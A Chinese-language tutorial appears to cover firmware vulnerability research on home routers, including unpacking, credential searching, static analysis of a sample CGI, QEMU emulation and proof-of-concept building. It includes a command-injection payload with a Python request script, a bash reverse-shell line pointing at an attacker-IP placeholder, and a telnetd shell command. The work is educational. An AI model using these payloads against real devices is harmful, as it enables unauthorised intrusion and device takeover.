1. 项目概述:从“黑盒”到“白盒”的固件攻防世界
搞网络安全这些年,从Web渗透到内网漫游,感觉能玩的花样都玩得差不多了。直到我开始接触固件漏洞挖掘,才真正体会到什么叫“打开新世界的大门”。这玩意儿不像Web应用,给你个登录框和几个参数让你测;它更像一个被封装起来的“小宇宙”,从启动引导到业务逻辑,从硬件接口到网络服务,全都打包在一个文件里。你面对的,是一个完整的、运行在嵌入式设备里的操作系统。 固件漏洞挖掘 ,本质上就是对这个“小宇宙”进行逆向工程和安全审计,找出那些能让攻击者从外部“接管”整个设备的致命缺陷。
为什么说它实战价值极高?看看你家里的路由器、智能摄像头、智能音箱,再看看工厂里的工控PLC、医院的医疗设备、街头的红绿灯控制器,它们的“大脑”都是固件。一个高危漏洞被挖出来,影响的可能不是一台设备,而是成千上万台同型号、甚至同架构的设备。攻击者无需物理接触,可能只需要一个特制的网络数据包,就能让设备“变砖”、窃取隐私数据,甚至将其变成僵尸网络的一员。我最初就是从一个老旧的家用路由器固件入手,成功拿到了它的root shell,那种成就感,比挖到一个SQL注入可大多了。这个过程,不仅考验你的逆向分析、二进制漏洞利用能力,更考验你对硬件架构、操作系统原理的深入理解。接下来,我就把自己这几年从零开始,趟过无数坑总结出来的固件漏洞挖掘实战路径,掰开揉碎了分享给你。
2. 固件漏洞挖掘的核心思路与工具链构建
2.1 理解固件:它到底是什么?
在动手之前,我们必须先统一认知: 固件(Firmware) 是什么?你可以把它理解为一个为特定硬件量身定制的、精简的操作系统加上应用程序的“一体化软件包”。它通常存储在设备的闪存(Flash)中,设备上电后首先加载并运行它。与通用操作系统(如Linux、Windows)相比,固件往往具有以下特点:
- 封闭性 :厂商通常不提供源代码,只发布编译后的二进制镜像。
- 多样性 :架构多样(MIPS, ARM, PowerPC, x86等),文件系统多样(SquashFS, JFFS2, YAFFS2, CramFS等),格式多样(Bin, Trx, Chk, Img等)。
- 资源受限 :运行环境内存小、存储空间有限,可能没有完善的安全机制(如ASLR, NX)。
- 高权限 :固件中的许多服务以root权限运行,一旦被攻破,后果严重。
我们的目标,就是把这个“黑盒子”打开,变成我们可以分析、调试的“白盒子”。
2.2 实战流程总览:四步拆解固件
一套高效的固件分析流程,可以总结为以下四个核心步骤,我称之为“固件挖掘四部曲”:
- 获取与解包 :找到目标固件,并把它从封装格式中提取出来,得到其中的文件系统。
- 初步分析与信息收集 :快速浏览解包后的文件,寻找明显的薄弱点,如敏感信息、已知漏洞组件、调试接口等。
- 静态深入分析 :对关键二进制程序(如Web服务、守护进程)进行反汇编、反编译,人工审计代码逻辑,寻找潜在漏洞。
- 动态验证与利用 :在模拟环境或真实设备上运行固件,验证发现的漏洞,并尝试构造利用代码(Exploit)。
2.3 工欲善其事:必先利其器
基于以上流程,我们需要构建一个强大的工具链。以下是我在长期实战中筛选出的“瑞士军刀”组合,大部分都是开源免费的。
2.3.1 解包与提取工具
-
binwalk:固件分析界的“开山斧”,最常用。它能自动识别固件中的多种文件系统、压缩格式、可执行文件,并尝试提取。但面对一些厂商自定义的封装格式,它可能失效。 -
firmware-mod-kit:一个工具包,包含用于解包、重组固件的脚本,对某些格式支持更好。 -
dd:Linux下的“磁盘拷贝”神器。当自动化工具有限时,结合hexdump或xxd手动分析固件头,然后用dd按偏移量和大小切割出文件系统分区,是必备技能。 -
sasquatch:专门用于解压非标准或损坏的SquashFS文件系统,很多时候能救场。
注意 :永远不要完全相信自动化工具。用
binwalk -Me自动提取后,一定要用binwalk -e(仅提取,不递归)或hexdump手动检查一下,看是否遗漏了某些分区或文件。我曾遇到过固件里藏了一个未经压缩的jffs2文件系统,binwalk没识别出来,手动dd出来才发现宝藏。
2.3.2 静态分析工具
- IDA Pro/Ghidra :逆向工程的“倚天剑”和“屠龙刀”。IDA是老牌王者,交互性好;Ghidra是NSA开源的神器,免费且反编译能力极强。两者必会其一,用于分析ARM/MIPS架构的二进制文件。
-
file、strings、readelf、objdump:Linux下基础但极其有用的信息收集命令。快速查看文件类型、提取字符串、查看ELF文件头、段信息和反汇编代码片段。 -
checksec:检查二进制文件开启了哪些安全保护机制(如NX, PIE, RELRO, Canary),这对评估漏洞利用难度至关重要。 -
find与grep:在解包的文件系统中快速搜索敏感关键词的黄金组合。例如:find . -type f -name “*.cgi”或grep -r “password” . –include=”*.conf”。
2.3.3 动态分析与模拟工具
-
QEMU
:处理器模拟器,是固件漏洞挖掘的“沙盒”。我们可以用
qemu-system模拟整个系统(全系统模拟),或用qemu-user模拟单个程序(用户态模拟)。后者启动快,适合快速测试网络服务。 - Firmadyne :一个自动化的固件模拟框架,能尝试自动解包、配网、启动固件。虽然成功率不是100%,但对于支持的系统能极大提升效率。
-
GDB + GEF/Peda
:调试器。配合QEMU的用户态模拟(
qemu-arm -g 1234 ./bin),可以像调试本地程序一样调试跨架构的固件程序。 - Netcat, Socat, Nmap :网络测试和交互的必备工具。
3. 实战演练:解剖一个真实路由器固件
光说不练假把式。我们以一个假设的、但非常典型的旧款家用路由器固件
TL-WRxxx_V1.bin
为例,走一遍完整的挖掘流程。
3.1 第一步:固件获取与解包
首先,从官网或第三方站点下载固件。使用
binwalk
进行初步侦察:
binwalk TL-WRxxx_V1.bin
输出可能如下:
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 TRX firmware header, little endian, image size: 12345678 bytes
32 0x20 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 4567890 bytes
1200128 0x124D00 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 7654321 bytes
可以看到,这是一个TRX封装格式的固件,包含一个LZMA压缩的内核和一个Squashfs文件系统。我们直接提取:
binwalk -Me TL-WRxxx_V1.bin
执行后,当前目录会生成一个
_TL-WRxxx_V1.bin.extracted
的文件夹,里面应该包含
squashfs-root
,这就是我们梦寐以求的文件系统根目录。
实操心得
:如果
binwalk -Me
提取失败或提取出的文件系统不完整,可以尝试先用
dd
把Squashfs分区单独抠出来,再用
unsquashfs
命令解压。命令如下(假设从0x124D00开始,大小7654321字节):
dd if=TL-WRxxx_V1.bin bs=1 skip=$((0x124D00)) count=7654321 of=rootfs.squashfs
unsquashfs rootfs.squashfs
这种手动操作是解决疑难杂症的必备技能。
3.2 第二步:文件系统信息收集与快速侦察
进入
squashfs-root
目录,开始“寻宝”。
-
查看关键目录结构 :
ls -la bin sbin usr/bin usr/sbin lib etc www cgi-bin重点关注
/bin,/sbin(系统命令),/www,/cgi-bin(Web界面),/etc(配置文件),/lib(库文件)。 -
搜索敏感信息 :
# 找密码、密钥 grep -r -i "password\|passwd\|pwd\|key\|secret" etc/ www/ 2>/dev/null | head -20 # 找配置文件中的硬编码凭证 find . -name "*.conf" -o -name "*.cfg" | xargs grep -l "admin\|root" 2>/dev/null # 找所有可执行文件 find . -type f -executable -exec file {} \; | grep "ELF.*executable"我曾在某个固件的
/etc/shadow文件里找到了root用户的哈希值,并且是弱哈希(MD5),直接用彩虹表就撞出来了。也在一个JSON配置文件中发现了硬编码的数据库密码。 -
分析Web服务 : 这是最常暴露的攻击面。查看
/www和/cgi-bin目录。ls -la www/ cgi-bin/ file cgi-bin/* strings cgi-bin/login.cgi | head -50看看有没有
login.cgi,ping.cgi,upgrade.cgi这类处理用户输入的程序。用file命令看它们是二进制还是脚本(如Lua)。用strings快速瞥一眼,可能会发现像system(),popen(),sprintf()这类危险函数,或者像cmccadmin这种默认密码。
3.3 第三步:静态深度分析——以二进制CGI为例
假设我们找到了一个关键的二进制文件
/cgi-bin/hedwig.cgi
,它是处理HTTP请求的。我们用Ghidra打开它(选择对应的处理器架构,比如ARM little endian)。
-
定位入口点 :在Ghidra中搜索
main函数或HTTP相关的字符串(如CONTENT_LENGTH,QUERY_STRING)。通常,这类CGI会从环境变量(getenv)中获取用户提交的参数。 -
追踪数据流 :找到处理用户输入(如来自URL参数或POST数据)的代码块。关注以下高危模式:
-
命令注入
:用户输入未经过滤,直接拼接进
system(),popen(),exec()等函数。 -
缓冲区溢出
:使用不安全的字符串函数(
strcpy,sprintf,gets)将用户输入拷贝到固定大小的栈或堆缓冲区。 -
格式化字符串漏洞
:用户输入直接作为
printf,sprintf等函数的格式化字符串参数。 -
后门与硬编码凭证
:在代码中直接比较字符串,如
if (strcmp(input, “secret_backdoor”) == 0) { give_shell(); }。
-
命令注入
:用户输入未经过滤,直接拼接进
-
人工审计示例 :在Ghidra的反编译窗口中,你可能会看到类似这样的代码片段(已简化):
iVar1 = getenv(“QUERY_STRING”); sprintf(acStack1044, “ping -c 3 %s”, iVar1); system(acStack1044);这几乎就是教科书式的命令注入漏洞!攻击者只需提交
QUERY_STRING为8.8.8.8; cat /etc/passwd,就能执行任意命令。
注意事项
:ARM/MIPS架构的函数调用约定(参数传递、栈布局)与x86不同。在分析栈溢出时,需要特别注意。例如,MIPS的前四个参数通常通过寄存器
$a0-$a3
传递,而不是压栈。不熟悉架构特性,很容易在计算偏移量时出错。
3.4 第四步:动态验证与漏洞利用
发现疑似漏洞后,必须在动态环境中验证。
-
搭建模拟环境 :
-
用户态模拟(快速)
:如果我们只测试单个网络服务(如
hedwig.cgi),可以用qemu-user。
但更常见的是,我们编写一个简单的Python脚本,通过HTTP调用这个CGI。# 首先,将固件库文件复制到本地,并设置链接器 cp -r squashfs-root /tmp/rootfs cd /tmp/rootfs # 使用chroot和qemu-arm-static来模拟 sudo chroot . ./qemu-arm-static ./usr/bin/my_daemon -
全系统模拟(复杂)
:使用
qemu-system-arm模拟整个系统。这需要为固件内核准备合适的设备树文件(dtb),并配置网络桥接。过程繁琐,但能测试到内核驱动、进程间通信等更深层的漏洞。Firmadyne框架试图自动化这个过程。
-
用户态模拟(快速)
:如果我们只测试单个网络服务(如
-
构造PoC(概念验证) : 对于上面的命令注入,我们可以写一个简单的HTTP请求:
import requests url = “http://192.168.1.1/cgi-bin/hedwig.cgi” payload = {“QUERY_STRING”: “8.8.8.8; id; ls -la /”} # 注意:实际参数传递方式需根据CGI解析方式调整,可能是GET参数,也可能是POST数据 response = requests.get(url, params=payload) # 或 requests.post print(response.text)如果返回结果中包含
uid=0(root)和根目录列表,漏洞即验证成功。 -
漏洞利用(Exploit) : 命令注入的利用相对直接。如果是栈溢出,就需要构造ROP链来绕过NX等保护。在资源受限的嵌入式设备上,往往没有ASLR,或者地址固定,这大大降低了利用难度。我们可以用
pattern_create生成定位字符串,用GDB配合QEMU调试,精确计算溢出偏移和控制PC(程序计数器)的地址,最终实现获取一个反向Shell:# 攻击机上监听 nc -lvnp 4444在漏洞利用载荷中,包含类似
bash -i >& /dev/tcp/攻击机IP/4444 0>&1的命令。
4. 固件挖掘中的高级技巧与疑难杂症
4.1 处理非标准文件系统与加密固件
不是所有固件都“乖乖”用标准格式。很多厂商会使用自定义的文件头、加密或压缩算法来增加分析难度。
-
自定义文件头
:用
hexdump -C查看文件头部,与已知格式(如TRX:0x48 0x44 0x52 0x30)对比。有时需要写个小脚本,按照厂商的格式说明手动解析和剥离文件头。 -
加密/压缩
:如果
binwalk和strings输出全是乱码,很可能被加密了。可以尝试:-
在固件中搜索密钥或初始化向量(IV)。字符串里可能藏着
AES_KEY,encrypt_key等。 - 分析升级客户端或配套的PC软件,它们可能包含解密逻辑,可以尝试逆向。
- 如果固件基于开源项目(如OpenWrt),对比开源代码和二进制,寻找差异点,差异处可能就是加密/校验逻辑。
-
在固件中搜索密钥或初始化向量(IV)。字符串里可能藏着
4.2 在没有源代码的情况下审计二进制程序
这是固件挖掘的常态。除了依赖Ghidra/IDA的反编译,还要:
-
关注字符串交叉引用
:在反编译器中,追踪危险函数(
system,strcpy,sprintf)的调用,向上回溯其参数来源。 -
识别自定义函数
:厂商会封装很多通用函数。通过分析函数参数和上下文,给它们重命名(如
parse_http_request,auth_check),能极大提升分析效率。 -
对比不同版本
:下载同一设备不同版本的固件,用
bindiff(IDA插件)或diaphora(Ghidra插件)进行二进制差异比较。安全补丁往往就打在漏洞函数上,通过对比能快速定位漏洞点。
4.3 模拟环境网络配置与调试技巧
让固件在QEMU里成功启动并连上网,是一大挑战。
-
网络桥接 :这是最常用的方式,让QEMU虚拟机与宿主机在同一局域网。
# 宿主机创建网桥 sudo brctl addbr br0 sudo ip addr add 192.168.100.1/24 dev br0 sudo ip link set br0 up # 启动QEMU,并指定网络接口为桥接模式 qemu-system-arm -kernel vmlinuz -initrd rootfs.cpio -append “root=/dev/ram console=ttyS0” -net nic -net tap,ifname=tap0,script=no,downscript=no还需要在宿主机上配置
tap0接口并加入br0。这个过程容易出错,需要仔细检查路由和防火墙规则。 -
用户态网络 :对于
qemu-user,可以使用-L指定根文件系统,用-E传递环境变量,但网络访问受限。更常用的方法是,在chroot环境中,使用socat将固件内的网络服务端口转发到宿主机。# 在chroot环境中,将80端口转发到宿主机的8080端口 socat TCP-LISTEN:80,fork,reuseaddr EXEC:”qemu-arm -L /path/to/rootfs ./cgi-bin/program”,stderr & -
调试技巧 :用
qemu-user的-g参数启动GDB服务器,然后用gdb-multiarch连接。在GDB中,使用gef或peda插件可以直观查看内存状态。对于系统级模拟,可以在QEMU启动参数中加入-s -S,然后通过GDB远程连接1234端口进行内核调试。
5. 从漏洞挖掘到安全研究:思维进阶
固件漏洞挖掘不只是找bug,更是理解一个系统安全生命周期的过程。
-
供应链安全
:很多漏洞来源于第三方开源库(如
libupnp,boa,dnsmasq)的旧版本。用strings查看二进制链接的库版本,或者用binwalk提取出的lib目录下的.so文件,与公开漏洞库(CVE)对比,往往有意外收获。 -
自动化与规模化
:当分析大量同类型固件时,需要自动化。可以编写脚本自动化完成:下载->解包->用
checksec扫描所有二进制->用strings和grep搜索敏感信息->用cwe-checker(基于Ghidra的插件)进行简单的漏洞模式匹配。但这只能作为初筛,深度漏洞仍需人工审计。 - 漏洞上报与合规 :如果你在商业产品中发现了漏洞,应遵循负责任的漏洞披露流程。通常通过厂商的PSIRT(产品安全事件响应团队)或第三方平台(如CNVD、CNNVD)进行报告。清晰的漏洞描述、稳定的复现步骤和完整的PoC是必备的。
这条路走下来,你会发现固件安全是一个融合了硬件、软件、网络知识的交叉领域。每一个固件都像是一个等待开启的谜盒,里面既有陈旧代码带来的“古董级”漏洞,也有新时代物联网功能引入的新风险。保持好奇心,耐心地逆向,严谨地验证,你找到的不仅仅是一个漏洞编号,更是对复杂系统如何运作与如何失效的深刻理解。我至今还记得第一次通过一个栈溢出漏洞,在模拟的路由器里弹出计算器(
/bin/busybox telnetd -l /bin/sh
)时的那种兴奋。那感觉,就像在数字世界的边缘,推开了一扇通往核心的门。

2946

被折叠的 条评论
为什么被折叠?



